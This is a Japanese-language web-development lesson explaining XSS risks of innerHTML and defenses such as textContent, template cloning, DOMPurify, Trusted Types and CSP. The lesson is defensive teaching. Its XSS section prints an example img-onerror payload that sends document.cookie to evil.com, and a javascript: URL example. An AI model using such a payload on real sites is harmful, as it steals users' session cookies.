templateとinnerHTMLのセキュリティ
innerHTMLを設定するよりテンプレートが安全な理由を理解します
「templateとinnerHTMLのセキュリティ」はCoddyKit上の無料HTML Academyレッスンです。 これはレッスン4/4です。 下記で完全なレッスンを無料で読むことができます。その後、ブラウザ内の組み込みコードエディタと24時間対応のAIチューターでハンズオン演習できます。 これはHTML Academy学習パスの一部であり、ウェブとCoddyKitアプリ全体で進捗が同期されます。 HTML Academyコースには全4レッスンが含まれています。
innerHTMLのインジェクションリスク
el.innerHTML = userInputを設定すると、文字列がHTMLとして解析されます。userInputに<script>やonerrorのようなイベントハンドラーが含まれていると、ブラウザーがそれらを実行し、クロスサイトスクリプティング(XSS)の脆弱性が発生します。
innerHTMLによるXSSの例
攻撃者がユーザー名として<img src=x onerror="fetch('https://evil.com/?c='+document.cookie)">を送信したとします。これをinnerHTMLでレンダリングするとonerrorが発火し、セッションCookieが外部に流出します。テキストの内容が実行可能なコードになってしまいます。
textContentは安全
el.textContent = userInputでは、文字列はプレーンテキストとして扱われるため、HTMLの解析もスクリプトの実行も行われません。ブラウザーはテキストノード内の<と>を自動的にエスケープします。ユーザーが入力した値には、必ずtextContentを使ってください。
// SAFE
nameEl.textContent = user.displayName;
// DANGEROUS
nameEl.innerHTML = user.displayName;template要素で文字列解析を避ける
template.cloneNode(true)を使う場合、構造はユーザーが指定した文字列ではなく、解析済みのHTML templateから取得されます。クローンしたノードの値をtextContentで設定すれば、ユーザーデータは解析済みHTMLではなく、常にテキストノード内に保持されます。構造とデータを分離できます。
innerHTMLが必要な場合のサニタイズ
ユーザーが入力したHTML形式の書式(リッチテキスト)が必要な場合は、innerHTMLを設定する前にサニタイズしてください。標準的なライブラリはDOMPurifyです。el.innerHTML = DOMPurify.sanitize(richHtml)のように使用します。安全な書式を維持しながら、危険なタグや属性を除去します。
insertAdjacentHTMLのリスク
insertAdjacentHTML("beforeend", html)もHTML文字列を解析するため、innerHTMLと同じXSSリスクがあります。同じサニタイズルールを適用してください。より安全な方法は、createElementで要素を作成し、textContentを設定してからappendChildを使うことです。
setAttributeのセキュリティ
ユーザーデータを使って属性を設定すると、インジェクションが発生する可能性があります。たとえばel.setAttribute("href", userUrl)で、userUrlがjavascript:alert(1)の場合、XSSが発生します。hrefまたはsrc属性を設定する前にURLスキームを検証し、http:、https:、mailto:だけを許可してください。
DOM Clobbering
DOM clobberingは、名前付きフォーム要素(id="getElementById")によってグローバルなJavaScript変数が上書きされる攻撃です。要素にはグローバルなwindowプロパティではなく、必ずdocument.getElementById()を使ってアクセスしてください。Content Security Policyもclobbering攻撃の緩和に役立ちます。
Trusted Typesポリシー
Trusted Types(Chromeで対応し、CSPによって強制できます)を使うと、innerHTML、insertAdjacentHTMLなどのシンクに、ポリシーでラップした文字列を渡すことが必須になります。生の文字列は代入できず、宣言したTrustedTypesポリシーによって作成された値だけを代入できます。これにより、サニタイズを誤って回避することを防げます。
Document Fragmentの安全性
DOM API(createElement、createTextNode)で要素を作成し、DocumentFragment内で操作する方法は、本質的にXSSに対して安全です。テキストは常にテキストとして扱われ、解析済みHTMLになることはありません。DocumentFragmentは、複雑な動的UIを構築する最も安全な方法です。
Content Security Policy
厳格なCSP(unsafe-inlineを使用せず、nonceベースのスクリプトを使う設定)は、XSSに対する多層防御になります。攻撃者がHTMLを注入しても、CSPによって注入されたスクリプトの実行を防げます。CSPによってサニタイズが不要になるわけではありません。CSPは主要な防御策ではなく、安全網です。
知識チェック
ユーザーが入力したデータのレンダリングで、textContentがinnerHTMLより安全なのはなぜですか?
まとめ
innerHTMLなどのAPIはHTML文字列を解析するため、サニタイズせずにユーザーデータを埋め込むとXSSの脆弱性が発生します。textContent、textContentで値を設定するtemplateのクローン、リッチテキスト用のDOMPurify、Content Security Policyを組み合わせることで、HTMLインジェクション攻撃に対する多層防御を構築できます。
よくある質問
「templateとinnerHTMLのセキュリティ」レッスンは無料ですか?
はい。「templateとinnerHTMLのセキュリティ」の完全なテキストはこのウェブで無料で読めます。インタラクティブに演習し(組み込みコードエディタと24時間対応のAIチューター)、HTML Academyコースの残りをアンロックするには、CoddyKit PROにアップグレードしてください。 HTML Academyコースには全4レッスンが含まれています。
「templateとinnerHTMLのセキュリティ」で何を学びますか?
innerHTMLを設定するよりテンプレートが安全な理由を理解します ブラウザで直接実行するハンズオンコードでHTML Academyを演習し、24時間対応のAIチューターがレッスンを進める中での質問に答えます。
HTML Academyを始めるのに経験は必要ですか?
事前経験は必要ありません。CoddyKitのHTML Academyは初級者から上級者向けに構成されているため、ここから始めるか最初から始めて、自分のペースで進むことができます。 これはレッスン4/4です。
「templateとinnerHTMLのセキュリティ」レッスンにはどのくらい時間がかかりますか?
ほとんどのCoddyKitレッスンは約5~10分かかります。各レッスンはコンパクトでインタラクティブなので、着実に進歩し、ウェブとアプリ全体で正確に前回の場所から再開できます。
このHTML Academyレッスンでコードを書いて実行できますか?
はい。すべてのHTML Academyレッスンに組み込みコードエディタが含まれているため、ブラウザでリアルコードを書いて実行し、即座のAIフィードバックを取得できます。ローカル設定は不要です。
このコースのすべてのレッスン
- template要素と不活性コンテンツ
- cloneNodeでテンプレートを複製する
- JavaScriptによるレンダリングでtemplateを使う
- templateとinnerHTMLのセキュリティ